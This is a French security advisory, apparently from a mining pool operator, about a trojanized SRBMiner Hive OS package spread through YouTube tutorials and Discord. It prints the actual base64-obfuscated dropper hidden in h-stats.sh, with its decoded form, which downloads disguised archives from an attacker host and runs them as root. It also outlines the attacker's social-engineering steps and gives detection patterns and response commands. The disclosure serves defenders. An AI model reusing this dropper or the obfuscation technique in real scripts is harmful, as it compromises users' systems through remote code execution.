Paquet SRBMiner 3.2.5 troyanisé dans la nature
Ce que les mineurs doivent savoir, dans l’ordre qui les intéresse

IOC — pour les pressés qui veulent juste grepper

Tout ce qu’il faut à un défenseur dans un seul bloc. Le détail vient plus loin, mais si vous êtes là pour auditer votre flotte, commencez ici.

Les artefacts fichiers sont nettoyés par le dropper après chaque exécution : leur absence ne prouve donc rien. Seule leur présence est concluante. Jugez plutôt sur les logs, sur le contenu de h-stats.sh sur disque, et sur le trafic sortant vers novahash.de.

Vecteur de distribution

Le paquet est actuellement proposé comme téléchargement SRBMiner-Multi sur miningrepositories.blog, un domaine choisi pour paraître générique et de confiance à qui cherche des binaires de mineurs. Ce n’est pas un canal de distribution connu ou légitime pour SRBMiner ni, pour autant qu’on puisse en juger, pour quoi que ce soit d’autre.

Diffusion : tutoriels YouTube et distribution sur Discord (observé)

L’archive troyanisée n’attend pas, posée sur un domaine obscur, que quelqu’un tombe dessus par hasard. Elle est activement promue via des canaux dans lesquels les mineurs ont confiance :

Ce que cela dit du mode opératoire de l’attaquant

C’est de l’ingénierie sociale, pas un drive-by download. Chaque étape est choisie pour faire baisser la garde de la cible :

1. Choisir de petites pièces avec des Discords actifs et un afflux régulier de nouveaux. C64Chain et QTC sont précisément le genre de pièce où un nouveau mineur arrive dans le Discord, demande comment démarrer, et prend avec gratitude le premier lien qu’un bon samaritain lui tend. Les grosses pièces attirent plus de scrutin ; les petites, plus de confiance.
2. Produire un vrai tutoriel qui marche. La vidéo YouTube montre un rig qui mine effectivement, parce que le binaire du mineur dans l’archive est un vrai mineur fonctionnel (couverture). La preuve visuelle est persuasive — une vidéo où défilent des shares acceptés vaut mille « fais-moi confiance ».
3. Accumuler la réputation d’abord, piocher ensuite. Une fois la vidéo en ligne et quelques commentaires du genre « ça a marché chez moi, merci ! », le lien s’auto-entretient : chaque nouveau spectateur voit la preuve sociale avant de voir une raison de se méfier.
4. Injecter dans les canaux de nouveaux. Poster le lien dans les canaux Discord où les débutants demandent de l’aide. La charge s’exécute dès le premier poll de statistiques ; l’attaquant n’a besoin de rien de plus que « suis le tutoriel ».
5. Compter sur l’absence d’audit des archives par les moderateurs. Quasiment aucun Discord de pièce n’a les moyens de reverse-engineerer chaque archive « utile » postée dans son canal de minage. Un utilisateur sympa avec une chaîne YouTube passe pour un membre de la communauté, pas pour une menace.

Si vous faites partie de la communauté C64Chain ou Qubit (QTC) et avez configuré un rig à partir du tutoriel Argenminers, ou passé le lien à un proche — partagez cet avis dans la communauté et considérez tout rig monté depuis ce guide comme compromis.

Contenu de l’archive

L’archive est une intégration Hive OS custom miner complète, avec en prime une intégration Minerstat (mmp-*) collée au passage. Les distributions authentiques livrent l’une ou l’autre, pas les deux — le simple fait de les trouver ensemble est déjà révélateur.

Indices de reconditionnement

Aucun des éléments ci-dessous n’est malveillant en soi — ce sont les détails diagnostiques qui trahissent que le paquet ne vient pas d’où il prétend venir :

• Commentaires en espagnol dans h-run.sh et h-manifest.conf — p. ex. « Verificar si ya está corriendo », « Cargar manifest », « Ejecutar el binario con parámetros », « Nombre del miner », « Ruta al archivo de configuración ». Les intégrations SRBMiner upstream sont en anglais.
• Incohérence de version interne. h-manifest.conf déclare CUSTOM_VERSION=3.2.5 ; mmp-external.conf déclare EXTERNAL_VERSION="2.6.8-custom". Les paquets authentiques sont cohérents en interne. Celui-ci peine à accorder ses violons.
• Intégrations Hive et Minerstat livrées ensemble. L’upstream distribue l’une ou l’autre, jamais les deux.
• Binaire non stripé. Les binaires de release upstream sont stripés pour réduire la taille et compliquer l’analyse. Celui-ci ne l’est pas — signe que l’attaquant a recompilé depuis les sources plutôt que de repackager la release officielle.

La charge utile : h-stats.sh

L’essentiel de h-stats.sh est — à notre grand agacement — un parseur de stats Hive OS parfaitement fonctionnel. Il interroge l’API HTTP du mineur sur 127.0.0.1:$MINER_API_PORT, parse hashrate, shares, températures et vitesses de ventilateur pour les workers GPU et CPU, gère le minage mono- et dual-algorithme, et renvoie du JSON de stats valide à l’agent Hive. Ce n’est pas un détail : c’est la couverture. Si le script plantait, Hive afficherait le rig comme offline et l’opérateur investiguerait en quelques minutes.

Ajouté après la logique légitime de stats, avant les affectations de fallback, on trouve ce bloc :

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Décodée, la charge base64 donne :

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Déroulement, étape par étape

1. Deux fichiers « image » (.png et .jpg) sont récupérés par wget depuis novahash.de. Les extensions image sont un camouflage : le contenu réel est constitué d’archives ZIP. Astuce classique pour passer sous les filtres d’egress naïfs qui inspectent scripts et archives mais laissent passer les images.
2. Chaque archive est écrite dans /etc/, renommée en .zip, puis extraite sur place avec unzip -o (écrasement).
3. Chaque archive contient un script shell (recuaikaan.sh, mqtato-fla.sh) qui est ensuite exécuté — le premier explicitement avec sudo, le second s’appuyant sur le contexte root déjà en place de l’agent Hive.
4. Les quatre artefacts (les deux .zip et les deux .sh) sont ensuite supprimés de /etc/. Cela nettoie l’empreinte du dropper : une inspection post-mortem de /etc/ ne trouve rien, alors que ce que les scripts de second étage ont installé ailleurs reste en place.
5. La chaîne complète tourne en arrière-plan via nohup … &, sans bloquer ni retarder la sortie de stats légitime. Hive continue à voir un rig bien portant.

Pourquoi h-stats.sh est le site d’injection parfait

Le mineur de couverture : srbminer_bin

Le binaire inclus ressemble à un build SRBMiner-Multi légitime ou quasi légitime. Son rôle, du point de vue de l’attaquant, est d’être sans histoires :

• Fichier : ELF 64-bit LSB shared object, x86-64, lié dynamiquement.
• Taille : 20 309 184 octets (~20 Mo).
• SHA256 : 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• BuildID : fc2487ec223c91039748e53c08328af91260cd8c
• Stripé : Non (atypique pour une release upstream — elles le sont).
• Chemins de build embarqués : référencent /home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux, qui sont les vrais chemins de build de l’auteur de SRBMiner (doktor83). Cohérent avec une compilation depuis des sources authentiques ou légèrement modifiées.
• URLs embarquées : aucune. Aucune référence à novahash.de ni aux noms de fichiers du dropper.

Le plan de l’attaquant dépend d’un mineur qui produit un hashrate et des shares plausibles pour que les dashboards Hive et Minerstat paraissent normaux et que l’opérateur n’ait aucune raison d’investiguer. Toute la fonctionnalité malveillante observée est dans h-stats.sh ; le binaire n’est pas le vecteur d’attaque.

Indicateurs de compromission complets

Réseau

• Domaine : novahash.de — à bloquer au pare-feu et au DNS
• https://novahash.de/fileslab/recuaikaan.png
• https://novahash.de/fileslab/mqtato-fla.jpg
• Domaine de distribution : miningrepositories.blog

Fichiers (artefacts du dropper)

Supprimés par le dropper après exécution — l’absence ne dédouane pas :

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

Hashes de fichier

• srbminer_bin SHA256 : 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• srbminer_bin BuildID : fc2487ec223c91039748e53c08328af91260cd8c

Signatures de processus et de comportement

• Appels wget vers novahash.de depuis le compte Hive user ou root
• Invocations nohup sh -c lancées depuis h-stats.sh
• Entrées sudo bash /etc/*.sh dans les logs sudo (si l’audit est activé)
• Fichiers .zip, .png ou .jpg inhabituels dans /etc/ à un moment quelconque

Signaux au niveau du paquet (pour repérer d’autres paquets troyanisés)

• Commentaires en espagnol dans des scripts d’intégration Hive ou Minerstat que l’upstream livre en anglais
• Incohérences de version entre fichiers manifeste
• Binaires de release non stripés
• Intégrations Hive et Minerstat réunies dans un même paquet
• Longues chaînes base64 dans un h-*.sh ou mmp-*.sh
• base64 -d | sh, base64 -d | bash, xxd -r -p | sh ou pipelines de décodage-et-exécution similaires dans les scripts de stats ou de run

Checklist de réponse aux incidents

Si vous avez installé ce paquet sur n’importe quel rig ou serveur, déroulez les étapes dans l’ordre. Avec un brin d’agacement. C’est la bonne posture.

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null

cat /etc/ld.so.preload   # doit être vide ou inexistant

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config

ss -tnp | grep -E '(srbminer|sh|wget|curl)'

chkrootkit
rkhunter --check --skip-keypress

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null

Durcissement : comment ne pas se retrouver ici

Quelques habitudes qui auraient évité l’affaire. Rien de neuf, rien de passionnant ; l’objectif est justement que ce soit ennuyeux.

Un mot de Suprnova

Les opérateurs de pools et leurs mineurs forment une cible de choix pour ce type d’attaque. Un mineur troyanisé sur un rig ne compromet pas seulement ce rig — il peut détourner du hashrate de votre pool, extraire les credentials de pool des fichiers de configuration, et servir de point d’appui pour s’étendre dans le reste de votre infrastructure. Nos utilisateurs sont en moyenne plus techniques, plus précieux et plus spécifiquement ciblés que la population générale des « gens qui téléchargent des choses » ; cette attention n’est pas, au final, un compliment.

Si vous tombez sur un téléchargement de mineur suspect, une archive inhabituelle, ou un DM Discord/Telegram vantant un mineur « custom » ou « patché » — transférez-le à admin@suprnova.cc ou déposez-le dans notre Discord. Nous regarderons, mettrons à jour ce bulletin si nécessaire, et avertirons la communauté. Ceinture, bretelles, et un soupçon de paranoia partagée — les trois piliers d’un rig de minage heureux.